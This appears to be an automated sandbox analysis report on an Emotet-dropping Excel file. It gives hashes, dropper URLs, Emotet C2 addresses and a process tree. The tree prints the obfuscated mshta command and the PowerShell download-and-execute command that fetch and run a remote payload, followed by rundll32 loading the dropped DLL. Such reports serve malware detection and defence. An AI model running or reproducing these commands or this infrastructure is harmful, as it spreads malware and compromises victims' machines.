Analysis

  • max time kernel
    64s
  • max time network
    58s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 03:24

General

  • Target

    2022-1-28-a43f25c31c035e3914ec0034f5c9fb07.xls

  • Size

    46KB

  • MD5

    a43f25c31c035e3914ec0034f5c9fb07

  • SHA1

    2d691e4ca3a1dce9db2d997554aadc7f8320c944

  • SHA256

    79d708ce28a18ccaeffa88968dbebb4f5bdbde87f7bf9f5f2237b42db2bbac10

  • SHA512

    32025211fc94f108cd512b585849df104a6523d1bd1a16cad95b18748126528c39f8c42dd9c2bf36875c5310fb2dd6802189c34839cb4b96664735244442e07e

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-a43f25c31c035e3914ec0034f5c9fb07.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:428
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:4088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:408
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3960
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1208
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                PID:3784
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 4088 -s 1668
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2748

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\QWER.dll

    MD5

    4be9fda9a2fdb10c36a1ce820b676e7e

    SHA1

    fd74db40bdbc55c29ec996f32d7b7332088f32b2

    SHA256

    f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

    SHA512

    878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed

  • \ProgramData\QWER.dll

    MD5

    4be9fda9a2fdb10c36a1ce820b676e7e

    SHA1

    fd74db40bdbc55c29ec996f32d7b7332088f32b2

    SHA256

    f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

    SHA512

    878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed

  • \ProgramData\QWER.dll

    MD5

    4be9fda9a2fdb10c36a1ce820b676e7e

    SHA1

    fd74db40bdbc55c29ec996f32d7b7332088f32b2

    SHA256

    f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

    SHA512

    878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed

  • memory/408-1724-0x0000026FD90F0000-0x0000026FF12A0000-memory.dmp

    Filesize

    385.7MB

  • memory/408-1693-0x0000026FD9060000-0x0000026FD9082000-memory.dmp

    Filesize

    136KB

  • memory/408-1725-0x0000026FF1860000-0x0000026FF18D6000-memory.dmp

    Filesize

    472KB

  • memory/408-1730-0x0000026FD90F0000-0x0000026FF12A0000-memory.dmp

    Filesize

    385.7MB

  • memory/408-1735-0x0000026FD90F0000-0x0000026FF12A0000-memory.dmp

    Filesize

    385.7MB

  • memory/408-1713-0x0000026FF1230000-0x0000026FF126C000-memory.dmp

    Filesize

    240KB

  • memory/2700-116-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

    Filesize

    64KB

  • memory/2700-115-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

    Filesize

    64KB

  • memory/3784-1746-0x0000000004150000-0x0000000004175000-memory.dmp

    Filesize

    148KB

  • memory/3784-1749-0x0000000004750000-0x0000000004775000-memory.dmp

    Filesize

    148KB

  • memory/3784-1751-0x0000000004840000-0x0000000004865000-memory.dmp

    Filesize

    148KB

  • memory/3784-1753-0x0000000004920000-0x0000000004945000-memory.dmp

    Filesize

    148KB

  • memory/3784-1755-0x0000000004980000-0x00000000049A5000-memory.dmp

    Filesize

    148KB

  • memory/3784-1757-0x00000000049E0000-0x0000000004A05000-memory.dmp

    Filesize

    148KB